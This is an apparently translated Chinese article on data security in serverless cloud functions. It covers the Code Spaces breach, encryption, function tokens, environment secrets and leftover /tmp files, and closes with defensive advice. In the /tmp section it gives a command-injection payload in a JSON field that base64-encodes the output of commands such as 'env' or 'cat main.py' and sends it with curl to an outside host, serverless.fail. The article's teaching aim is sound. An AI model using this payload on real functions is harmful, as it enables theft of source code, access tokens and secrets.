這方面最好的一個例子就是Code Spaces,一家前SaaS提供商,可以通過Amazon Elastic Compute Cloud的控制面板進行訪問。黑客“……刪除了所有EBS快照、S3存儲桶、所有AMI、許多EBS實例和多個機器實例”,最終導致了這家基于AWS的公司的倒閉。
如果您自認為“嗯,這些我都知道。但是,對于無服務器架構來說,我最想知道事情到底有哪些不同呢?”,好吧,這說明你真是來對了地方。
實際上,針對Code Spaces的攻擊事件發生在2014年,那時,“無服務器”的概念還沒有出現。然而,其中的某些云服務和資源(例如S3 )卻是當今無服務器解決方案中的基本組成部分。如果在此基礎上再加入幾個函數,然后重新排列一些字母(我的意思是AMI→IAM,清楚了吧?),并添加一些由三個字母組成的縮寫(例如EFS、SQS、SES等),那么,它們面臨的風險其實是一樣的。如果數據沒有得到很好的保護,肯定會面臨巨大的風險。
現在,您可能會說“那又怎樣,即使面對同樣的攻擊,但是別忘了,我們還有許多其他的數據源”。是的,這句話也有一定的道理。但是,我們現在必須從不同的角度來全盤考慮。
首先,也許是更相似的一個方面,那就是對于數據的處理。我們必須為靜態和傳輸中的數據提供安全保護。
我們需要為云存儲、備份或數據庫中的敏感數據提供加密處理。我們的服務提供商通常會提供相應的工具,以幫助我們輕松、正確的完成這些任務。我們可以使用他們提供的KMS/Key Vault來安全地存儲數據。此外,我們還要確保資源配置的正確性,這樣就不會出現大的泄漏事故,至少不會引起公司倒閉。當然,一定要確保不要將密鑰泄漏到代碼存儲庫或任何其他可能最終落入攻擊者手中的地方。
對于傳輸中的數據,只需確保所有連接都使用了TLS(當我們調用提供商的服務時,這些都是其默認的設置)即可。
其次,也是最有趣的部分,那就是我們新的無服務器運行時環境中的數據。如果我們發現自己的/etc/passwd和/etc/shadow文件遭受了攻擊,我們會不會驚恐萬分?無論是在我們的服務器中,還是在云中(例如EC2),都是夠嚇人的。不過,在無服務器架構中,世道已經變了,這些已經不再敏感了。我甚至會考慮把它們直接交給攻擊者,如果他們的態度好一點的話。事實上,的確如此。
這是為什么呢?因為,這些安全問題現在已經是服務提供商操心的事情了,并且,我們的函數是在通用環境中運行的。
那么,我們需要保護的到底是什么呢?這是最重要的問題。其實,答案很簡單,但對于不同的提供商來說,保護對象可能會有所不同。
A.我們的代碼
我們可能沒有服務器,但我們的代碼卻是存儲在云存儲或云存儲庫中的(當然,這些都不在我們的職責范圍內),并且,它們是隨函數的運行時環境一起提供的。當然,具體的存儲位置取決于運行時和供應商。
例如:在AWS NodeJS中,您可以在當前目錄(./)中找到自己的代碼,同時,還可在GCP中找到自己的Python代碼,這就與AWS上的位置有所不同(/var/task)。這些方面的知識,將留給讀者自己去探索。現在,請使用以下GCP函數在任意文件或目錄中運行cat和ls命令。
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"ls":"./"}' | base64 --decode
- curl -X POST -H "Content-Type: application/json" https://us-east1-slsbot-214001.cloudfunctions.net/gcp-py-explore --data '{"cat":"main.py"}' | base64 --decode
B.我們的機密信息
同樣,這也隨服務供應商的不同而有所不同。但是,如果我們以AWS為例,那么您需要保護兩部分的機密信息。第一部分,屬于無法控制,卻又必須面對的信息,其中包含自己函數方面的信息,例如其內存配置、日志組名稱、版本,等等。但是,最重要的是函數的令牌(token)。
這些令牌代表著該函數相對于該帳戶的權限。因此,如果該函數對帳戶具有為所欲為的權限的話(大多數情況下都是這樣),比如掃描數據庫或編輯存儲桶這類的權限的話,那么,它們一旦落入攻擊者的手中,就會帶來巨大的災難。攻擊者甚至不必使用您的函數,只需用他們自己的計算機上的令牌,就能運行任意的aws cli命令,因為aws配置文件stolen_keys中存放有被盜令牌(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN):
無論我們喜歡與否,這些令牌都是存在的,所以,我們需要確保對函數的權限加以控制,只要能夠滿足完成它們的相應操作就可以了,最好多一點都不要給它們。如果函數需要從S3bucket讀取數據的話,務必確保只賦予該函數從特定bucket或任何相關資源讀取數據的權限。
我們要控制的部分是作為環境變量傳遞給函數的那些我們自己的機密信息。它們都應該通過同樣的方式訪問;通過代碼或系統進程調用它們。如果它們包含敏感信息,則應考慮對它們進行加密保護。這樣,系統進程將無法看到它們的實際值(請回顧一下env的屏幕截圖)。但是,如果該函數存在代碼注入漏洞,那么攻擊者則可以直接運行讀取其值的代碼。
- ENCRYPTED = os.environ['third_party_api_key']
- DECRYPTED = boto3.client('kms').decrypt(CiphertextBlob=b64decode(ENCRYPTED))['Plaintext']
C.我們的文件
在無服務器環境中,除了/tmp文件夾之外,文件系統都應該是只讀的;/tmp文件夾是應用程序存放自身文件的位置(如果有的話)。讓我再次使用俺的通靈能力,來指出您現在的想法……無服務器的環境是不是臨時的,所有的文件都被刪除后,該函數執行完其代碼了嗎?嗯,這種想法并非完全錯誤,至少對了一部分,但并非絕對正確。只有當該函數保持空閑狀態一段時間(在AWS上大約為4分鐘)時,該函數的環境才會被完全刪除。但是,如果在該時間范圍內至少被調用一次,它很可能會進入與以前完全相同的環境中。當然,我們不敢打包票,但在這個時間內,通常會有一些事件出現。當然,這是出于性能的考慮。
如果您的函數是易受攻擊的,并且使用了包含敏感信息的文件,那么它的數據很可能會被攻擊者所竊取。為了演示其內在原理,不妨回顧一下前面給出的兩個curl命令。實際上,這兩個調用都會將數據(base64編碼)寫入/tmp/b64文件。
如果先運行“ls”調用的話,可以看到/out/b64文件的大小為252字節。但是,如果先運行“cat”調用,然后再運行ls命令的話,則會看到文件大小會有所不同,它會變為1496字節。這意味著“ls”調用的輸出結果顯示的是“cat”調用的輸出內容。當然,如果再次運行“ls”調用,看到的數字將是252,因為上一個調用是“ls”。
我們什么時候需要擔心這個安全問題呢?如果我們的代碼含有任何類型的代碼注入漏洞,那就要倍加小心了;不管問題出現在進程還是表達式api (例如eval )中,也無論到底是開發人員本身還是依賴庫造成的,攻擊者都可以訪問和/或修改我們的敏感數據。例如,假設我提供給您的函數帶有這種漏洞,比方說可以通過json值注入命令。那么,攻擊者只需:
- --data '{"ls":"/tmp; code=`$secret | base64 --wrap=0`; curl https://serverless.fail/leak?data=$code"}'
其中$secret的值可以是“cat main.py”,這樣就可以獲取我們的代碼。其中,“env”,表示從環境變量中竊取令牌和機密信息?;蛘撸?ldquo;cat/tmp/leftover.file”,表示在/tmp文件夾下沒有提供安全保護措施的敏感文件。
我們已經試過了,對吧?上面的命令會輸出機密信息,將其編碼為base64形式,并將其發送到攻擊者指定的位置(例如serverless.fail)。現在,他們要做的就是破解它,然后大干一場!這樣,您就有機會登上新聞頭版了……開個玩笑。
總而言之,我們該如何應對呢?下面,我們簡單總結一下:
- 對于敏感數據,除非絕對必要,否則不要存儲。
- 始終為靜態和傳輸過程中的敏感數據提供嚴格的保護措施。盡可能使用基礎架構供應商提供的加密和密鑰管理服務來存儲數據、機密信息和環境變量。· 避免在代碼存儲庫和任何其他共享位置存放密鑰。
- 通過限制函數的權限來減小攻擊面。
- 進行代碼審查和靜態分析,以找出代碼中的漏洞。
- 監控依賴代碼庫的安全問題,以避免將已知漏洞引入我們自己的應用程序。
- 使用完畢后,從/tmp中刪除相關的敏感文件。